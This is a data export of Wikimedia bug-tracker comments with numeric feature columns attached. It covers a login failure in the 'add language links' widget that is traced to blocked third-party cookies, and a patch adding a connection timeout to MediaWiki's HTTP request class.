I'm still experiencing the problem.  If it's been established definitively that this is due to the user's browser blocking third-party cookies, could a message to this effect please be added to the error message?",,,1416505762,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-mqgd5b5k4fnslwwoze2f,task_subcomment,,True,c2,3,False,,,64,True,0.0,0.0,0.0,4.0,0.0,4.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,4.0,10.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,6.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,18.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,6.0,4.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,4.0,10.0,6.0,2.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,3.9411764705882355,0.803921568627451,"**psychonaut** wrote:

I'm still experiencing the problem.  If it's been established definitively that this is due to the user's browser blocking third-party cookies, could a message to this effect please be added to the error message?"
220697,[Bug] Login issue with add language links widget,"For me it seems fine now.
Is there anything else we can do on this bug?",,,1413209902,,PHID-USER-7n5fvppwj4ueprv2iuys,False,,,PHID-TASK-mqgd5b5k4fnslwwoze2f,task_subcomment,,True,c2,3,True,,,58,True,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,16.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,16.0,11.0,0.0,5.0,0.0,0.0,16.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,1.0,"For me it seems fine now.
Is there anything else we can do on this bug?"
220693,[Bug] Login issue with add language links widget,"(In reply to comment #11)
> The ""real"" solution for this would be OAuth, right?

No. OAuth could be a solution for third party client wikis, but not for Wikimedia ones (we have CentralAuth for this purpose).

The issue over here essentially comes down to a CentralAuth shortcoming (see my mail).",,,1386090219,,PHID-USER-2mey32xhshfnf7rz7jjn,False,,,PHID-TASK-mqgd5b5k4fnslwwoze2f,task_subcomment,,True,c2,3,True,,,13,True,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,2.0,5.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,14.0,0.0,2.0,7.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,4.0,14.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.732142857142857,0.7857142857142857,"(In reply to comment #11)
QUOTE

No. OAuth could be a solution for third party client wikis, but not for Wikimedia ones (we have CentralAuth for this purpose).

The issue over here essentially comes down to a CentralAuth shortcoming (see my mail)."
220687,[Bug] Login issue with add language links widget,"The ""real"" solution for this would be OAuth, right?",,,1386069110,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-mqgd5b5k4fnslwwoze2f,task_subcomment,,True,c2,3,False,,,13,True,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,15.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3076923076923075,0.9230769230769231,"The ""real"" solution for this would be OAuth, right?"
220681,[Bug] Login issue with add language links widget,"**psychonaut** wrote:

Yes, I've got third-party cookies disabled, though I'd hardly call this an ""unusual"" configuration.  It's useful and common enough that Mozilla is considering making it the default setting for its browsers.  If accepting third-party cookies is required to add interwiki links now, then if/when Mozilla makes the switch, it's going to stop working for some 20% of all Wikimedia users.

In the meantime, if third-party cookies are required, please update the ""You need to be logged in"" message to say so.",,,1381304491,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-mqgd5b5k4fnslwwoze2f,task_subcomment,,True,c2,3,False,,,6,True,1.5,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.5,2.0,1.5,1.0,0.0,0.5,0.0,1.0,0.5,4.5,10.5,0.0,3.5,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.5,0.5,5.5,1.0,2.5,2.0,1.0,0.0,0.0,1.0,1.5,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,10.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,3.5,2.5,6.5,4.0,0.5,5.5,0.0,0.0,0.0,0.0,4.5,1.5,1.0,0.0,4.0,10.5,3.5,0.0,2.5,0.0,4.0,0.0,1.0,0.5,0.0,3.5,0.0,0.0,0.0,3.737570621468927,0.7984463276836158,"**psychonaut** wrote:

Yes, I've got third-party cookies disabled, though I'd hardly call this an ""unusual"" configuration.  It's useful and common enough that Mozilla is considering making it the default setting for its browsers.  If accepting third-party cookies is required to add interwiki links now, then if/when Mozilla makes the switch, it's going to stop working for some 20% of all Wikimedia users.

In the meantime, if third-party cookies are required, please update the ""You need to be logged in"" message to say so."
220673,[Bug] Login issue with add language links widget,"This can certainly happen if the user has 3rd-party cookies disabled. In that case, they won't be logged into any of the other projects when the login. Since they're not logged into wikidata when they visit wikidata directly, that does sounds like they're not being logged in properly. It will be hard to track down without capturing the headers when they visit the site though.

You might be able to fix this feature by using a centralauth token from the local wiki, before making the call to wikidata.",,,1381275852,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-mqgd5b5k4fnslwwoze2f,task_subcomment,,True,c2,3,True,,,5,True,0.5,0.0,0.0,1.5,2.0,4.0,2.0,0.0,1.0,0.5,1.5,2.0,0.0,0.0,0.0,0.0,0.0,7.0,12.5,0.0,2.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,1.5,1.0,0.0,4.5,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,11.0,1.0,1.5,0.5,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,2.0,0.0,0.0,6.5,3.5,3.5,3.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,12.5,0.0,0.0,0.0,0.0,5.0,0.0,2.5,1.0,0.0,3.0,0.0,0.0,0.0,4.088235294117647,0.803921568627451,"This can certainly happen if the user has 3rd-party cookies disabled. In that case, they won't be logged into any of the other projects when the login. Since they're not logged into wikidata when they visit wikidata directly, that does sounds like they're not being logged in properly. It will be hard to track down without capturing the headers when they visit the site though.

You might be able to fix this feature by using a centralauth token from the local wiki, before making the call to wikidata."
220668,[Bug] Login issue with add language links widget,There are a few reports - definitely enough to make me think something is very fishy here.,,,1381269514,,PHID-USER-7n5fvppwj4ueprv2iuys,False,,,PHID-TASK-mqgd5b5k4fnslwwoze2f,task_subcomment,,True,c2,3,True,,,5,True,6.0,6.0,6.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,22.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,11.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,4.111111111111111,1.0,There are a few reports - definitely enough to make me think something is very fishy here.
220661,[Bug] Login issue with add language links widget,"(In reply to comment #6)
> So it seems that the ""Add links"" function *always* tells me I am not logged
> in,
> whether or not I really am logged in.

Do you have any uncommon settings regarding cookies? In theory you shouldn't even have to do 5). The fact that you also have to manually log in on wikidata seems strange to me and it would be great to get more details about what exactly is going on here.

@Lydia: Do we often get such reports (how big is the impact of this)?

CCed Chris Steipp because of the SUL login issues mentioned above (point 5).",,,1381268736,,PHID-USER-2mey32xhshfnf7rz7jjn,False,,,PHID-TASK-mqgd5b5k4fnslwwoze2f,task_subcomment,,True,c2,3,True,,,5,True,0.5,0.0,0.0,0.0,0.5,5.0,2.0,1.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,1.5,0.0,7.0,10.5,0.0,2.5,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.5,4.5,0.0,1.0,3.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,10.0,1.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.5,0.0,1.0,0.5,0.5,0.0,0.0,0.0,0.0,2.5,3.0,9.5,2.5,0.5,4.0,0.0,0.0,0.0,0.5,5.5,0.0,3.0,0.0,4.0,10.5,4.0,1.5,0.0,0.0,4.0,0.0,2.0,0.0,0.5,1.5,1.0,0.0,0.0,3.5624092888243832,0.8100507982583455,"(In reply to comment #6)
QUOTE
QUOTE
QUOTE

Do you have any uncommon settings regarding cookies? In theory you shouldn't even have to do 5). The fact that you also have to manually log in on wikidata seems strange to me and it would be great to get more details about what exactly is going on here.
SCREEN_NAME: Do we often get such reports (how big is the impact of this)?

CCed Chris Steipp because of the SUL login issues mentioned above (point 5)."
220657,[Bug] Login issue with add language links widget,"**psychonaut** wrote:

No, I'm logged in via my global account on both wikis via https.  Here's the exact series of steps which reproduces this problem:

0. Assume at the beginning I have just started my browser and am logged in on neither wikipedia-en nor wikidata.

1. I visit https://en.wikipedia.org/wiki/Special:UserLogin.  According to the top of the page I am not yet logged in.

2. I enter my username and password and click on ""Log in"".  I get logged in and redirected to the main page.

3. I visit https://en.wikipedia.org/wiki/Smriti_Irani or any other article which doesn't have any interwiki links.

4. I click on ""Add links"" in the ""Languages"" section of the left bar.  A dialog appears which says ""You need to be logged in. You need to be logged in on this wiki and in the central data repository to use this feature"".

5. I click on ""central data repository"" which takes me to a login page at https://www.wikidata.org/wiki/Special:UserLogin.  According to the top of the page I am not yet logged in.

6. I enter my username and password and click on ""Log in"".  I get logged in and redirected to the main page.

7. I visit https://en.wikipedia.org/wiki/Smriti_Irani again and click on ""Add links"" in the ""Languages"" section of the left bar.  A dialog appears which says ""You need to be logged in. You need to be logged in on this wiki and in the central data repository to use this feature"".

8. I click on ""central data repository"" which takes me to a login page at https://www.wikidata.org/wiki/Special:UserLogin.  This time according to the top of the page I am already logged in.


So it seems that the ""Add links"" function *always* tells me I am not logged in, whether or not I really am logged in.",,,1381257794,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-mqgd5b5k4fnslwwoze2f,task_subcomment,,True,c2,3,False,,,5,True,0.5,0.0,0.0,2.5,1.25,4.75,0.0,0.0,0.0,0.0,4.75,0.5,0.0,0.0,0.0,6.0,0.0,3.5,14.25,0.0,1.5,0.0,0.0,0.0,0.25,0.5,0.0,0.0,0.0,0.0,0.25,8.5,0.25,0.25,1.5,1.0,0.75,0.5,3.75,0.0,0.5,0.0,0.25,0.75,0.0,0.0,0.0,0.0,0.25,12.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,0.25,0.5,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,5.25,2.5,10.75,0.5,3.5,9.25,0.0,0.0,0.0,0.0,3.25,0.25,0.25,0.0,7.5,14.25,2.0,0.0,5.5,0.0,7.5,0.0,1.5,1.0,0.75,0.75,0.0,0.0,2.0,3.2409574468085105,0.583370660694289,"**psychonaut** wrote:

No, I'm logged in via my global account on both wikis via https.  Here's the exact series of steps which reproduces this problem:

0. Assume at the beginning I have just started my browser and am logged in on neither wikipedia-en nor wikidata.

1. I visit URL  According to the top of the page I am not yet logged in.

2. I enter my username and password and click on ""Log in"".  I get logged in and redirected to the main page.

3. I visit URL or any other article which doesn't have any interwiki links.

4. I click on ""Add links"" in the ""Languages"" section of the left bar.  A dialog appears which says ""You need to be logged in. You need to be logged in on this wiki and in the central data repository to use this feature"".

5. I click on ""central data repository"" which takes me to a login page at URL  According to the top of the page I am not yet logged in.

6. I enter my username and password and click on ""Log in"".  I get logged in and redirected to the main page.

7. I visit URL again and click on ""Add links"" in the ""Languages"" section of the left bar.  A dialog appears which says ""You need to be logged in. You need to be logged in on this wiki and in the central data repository to use this feature"".

8. I click on ""central data repository"" which takes me to a login page at URL  This time according to the top of the page I am already logged in.


So it seems that the ""Add links"" function *always* tells me I am not logged in, whether or not I really am logged in."
220650,[Bug] Login issue with add language links widget,Tristan: Can you answer Marius' last question please?,,,1381155706,,PHID-USER-7n5fvppwj4ueprv2iuys,False,,,PHID-TASK-mqgd5b5k4fnslwwoze2f,task_subcomment,,True,c2,3,True,,,5,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,9.0,0.0,18.0,9.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.181818181818182,1.0,Tristan: Can you answer Marius' last question please?
220644,[Bug] Login issue with add language links widget,"(In reply to comment #2)
> I experience this problem with Mozilla/5.0 (X11; Linux x86_64; rv:20.0)
> Gecko/20100101 Firefox/20.0 SeaMonkey/2.17.  I have a few add-ons installed
> but
> will try again with them removed and post the results.

Then the above patch probably wont solve (or moreover avoid) the mentioned problem. I can't reproduce this problem with neither Firefox 20 nor Seamonkey 2.17 on Fedora.

The only possible cause I can think of right now is that you are logged in via https on Wikidata.org while only being logged in via http on enwiki for some reason (different non-global accounts maybe?).",,,1368472827,,PHID-USER-2mey32xhshfnf7rz7jjn,False,,,PHID-TASK-mqgd5b5k4fnslwwoze2f,task_subcomment,,True,c2,1,True,,,-16,True,1.0,0.0,0.0,2.0,1.0,8.0,1.0,0.0,0.0,0.0,4.0,1.0,0.0,2.0,0.0,2.0,0.0,10.0,15.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,2.0,2.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,14.0,2.0,2.0,6.0,0.0,0.0,0.0,1.0,5.0,0.0,3.0,0.0,3.0,15.0,8.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.838709677419355,0.7634408602150538,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE

Then the above patch probably wont solve (or moreover avoid) the mentioned problem. I can't reproduce this problem with neither Firefox 20 nor Seamonkey 2.17 on Fedora.

The only possible cause I can think of right now is that you are logged in via https on Wikidata.org while only being logged in via http on enwiki for some reason (different non-global accounts maybe?)."
220640,[Bug] Login issue with add language links widget,"**psychonaut** wrote:

The problem also occurs in safe mode (i.e., with all add-ons disabled).  It occurs when I'm logged into and accesing Wikipedia via either HTTP or HTTPS.  However, some further experimentation shows that the error message is triggered only sometimes.  Other times following the ""Add link"" gives me the ""Link with page"" popup as expected.",,,1368434474,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-mqgd5b5k4fnslwwoze2f,task_subcomment,,True,c2,1,False,,,-16,True,2.0,0.0,0.0,1.0,0.0,6.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,1.0,0.0,2.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,8.0,2.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,12.0,2.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,8.0,0.0,5.0,0.0,4.0,0.0,1.0,0.0,1.0,2.0,0.0,0.0,1.0,3.8125,0.8,"**psychonaut** wrote:

The problem also occurs in safe mode (i.e., with all add-ons disabled).  It occurs when I'm logged into and accesing Wikipedia via either HTTP or HTTPS.  However, some further experimentation shows that the error message is triggered only sometimes.  Other times following the ""Add link"" gives me the ""Link with page"" popup as expected."
220636,[Bug] Login issue with add language links widget,"**psychonaut** wrote:

I experience this problem with Mozilla/5.0 (X11; Linux x86_64; rv:20.0) Gecko/20100101 Firefox/20.0 SeaMonkey/2.17.  I have a few add-ons installed but will try again with them removed and post the results.",,,1368426762,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-mqgd5b5k4fnslwwoze2f,task_subcomment,,True,c2,1,False,,,-16,True,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,4.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,6.0,4.0,19.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,4.23404255319149,0.851063829787234,"**psychonaut** wrote:

I experience this problem with Mozilla/5.0 (X11; Linux x86_64; rv:20.0) Gecko/20100101 Firefox/20.0 SeaMonkey/2.17.  I have a few add-ons installed but will try again with them removed and post the results."
220629,[Bug] Login issue with add language links widget,Related URL: https://gerrit.wikimedia.org/r/63393 (Gerrit Change Iae53b39dd20342f5719fd5c67d2891284f1b39bf),,,1368391700,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mqgd5b5k4fnslwwoze2f,task_subcomment,,True,c2,1,False,,,-16,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,33.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Iae53b39dd20342f5719fd5c67d2891284f1b39bf)
49027,Implement connection timeout in MediaWiki's Http class,"**Author:** `afeldman`

**Description:**
MWHttpRequest currently sets CURLOPT_TIMEOUT ($this->curlOptions[CURLOPT_TIMEOUT] = $this->timeout;) but doesn't provide a way to set CURLOPT_CONNECTTIMEOUT_MS.  

MWSearch as deployed in production has a 10 second timeout.  Today we had an outage where lsearchd was up on servers but hung and apaches waited 10 seconds for the connection attempts to timeout.  It would be better if search connection attempts timed out at 500-1000ms.

--------------------------
**Version**: 1.21.x
**Severity**: enhancement",High,80.0,1365463560,1412959024.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-6yiimfrbfk7nv3wknn5y,task_description,resolved,True,c2,1,False,False,False,-21,True,0.0,0.0,0.0,0.0,0.5,2.5,2.0,0.0,0.0,1.0,1.0,0.5,0.0,0.0,0.0,0.5,0.0,2.5,7.0,0.0,1.5,0.0,0.0,0.0,4.5,1.0,0.0,0.0,0.0,1.0,0.0,3.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,5.5,0.0,1.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,2.5,2.0,7.0,1.5,2.5,2.5,0.0,0.5,0.0,0.0,3.0,0.0,2.5,0.0,1.5,7.0,2.5,0.0,0.0,0.0,1.5,0.0,0.5,1.5,0.0,0.5,1.0,0.0,0.0,4.48340321453529,0.8034591194968554,"**Author:** CODE

**Description:**
MWHttpRequest currently sets CURLOPT_TIMEOUT ($this->curlOptions[CURLOPT_TIMEOUT] = $this->timeout;) but doesn't provide a way to set CURLOPT_CONNECTTIMEOUT_MS.  

MWSearch as deployed in production has a 10 second timeout.  Today we had an outage where lsearchd was up on servers but hung and apaches waited 10 seconds for the connection attempts to timeout.  It would be better if search connection attempts timed out at 500-1000ms.

--------------------------
**Version**: 1.21.x
**Severity**: enhancement"
214159,Implement connection timeout in MediaWiki's Http class,"No reply to comment 5. Assuming this bug is FIXED.
If that is not the case: Please reopen and elaborate what is left to do here to get this report fixed.",,,1412959024,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-6yiimfrbfk7nv3wknn5y,task_subcomment,,True,c2,3,True,,,58,True,0.0,0.0,0.0,6.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,14.0,3.0,3.0,14.0,0.0,0.0,0.0,0.0,14.0,3.0,3.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.4444444444444446,0.8055555555555556,"No reply to comment 5. Assuming this bug is FIXED.
If that is not the case: Please reopen and elaborate what is left to do here to get this report fixed."
214153,Implement connection timeout in MediaWiki's Http class,"https://gerrit.wikimedia.org/r/#/c/67095/ was merged ages ago.

Is more work needed here, or can this be closed?",,,1411335735,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-6yiimfrbfk7nv3wknn5y,task_subcomment,,True,c2,3,True,,,55,True,0.0,0.0,0.0,11.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,11.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,3.210526315789474,1.0,"URL was merged ages ago.

Is more work needed here, or can this be closed?"
214143,Implement connection timeout in MediaWiki's Http class,Related URL: https://gerrit.wikimedia.org/r/67095 (Gerrit Change I3e2a84ee8a759dd2bdb2fd0837e0cd5605541816),,,1370446671,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6yiimfrbfk7nv3wknn5y,task_subcomment,,True,c2,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I3e2a84ee8a759dd2bdb2fd0837e0cd5605541816)
214138,Implement connection timeout in MediaWiki's Http class,"We already support CURLOPT_TIMEOUT. This is about supporting CURLOPT_CONNECTTIMEOUT_MS, which is what my patch does.",,,1365464975,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-6yiimfrbfk7nv3wknn5y,task_subcomment,,True,c2,1,True,,,-21,True,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,22.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,6.0,6.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,6.0,0.0,0.0,0.0,5.666666666666667,0.8888888888888888,"We already support CURLOPT_TIMEOUT. This is about supporting CURLOPT_CONNECTTIMEOUT_MS, which is what my patch does."
214135,Implement connection timeout in MediaWiki's Http class,"http://php.net/manual/en/function.curl-setopt.php

CURLOPT_TIMEOUT
The maximum number of seconds to allow cURL functions to execute.	

CURLOPT_TIMEOUT_MS
The maximum number of milliseconds to allow cURL functions to execute. If libcurl is built to use the standard system name resolver, that portion of the connect will still use full-second resolution for timeouts with a minimum timeout allowed of one second.

Added in cURL 7.16.2. Available since PHP 5.2.3.",,,1365464894,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-6yiimfrbfk7nv3wknn5y,task_subcomment,,True,c2,1,True,,,-21,True,0.0,0.0,0.0,1.0,0.0,9.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,18.0,0.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,12.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,18.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.636363636363637,0.6883116883116883,"URL

CURLOPT_TIMEOUT
The maximum number of seconds to allow cURL functions to execute.	

CURLOPT_TIMEOUT_MS
The maximum number of milliseconds to allow cURL functions to execute. If libcurl is built to use the standard system name resolver, that portion of the connect will still use full-second resolution for timeouts with a minimum timeout allowed of one second.

Added in cURL 7.16.2. Available since PHP 5.2.3."
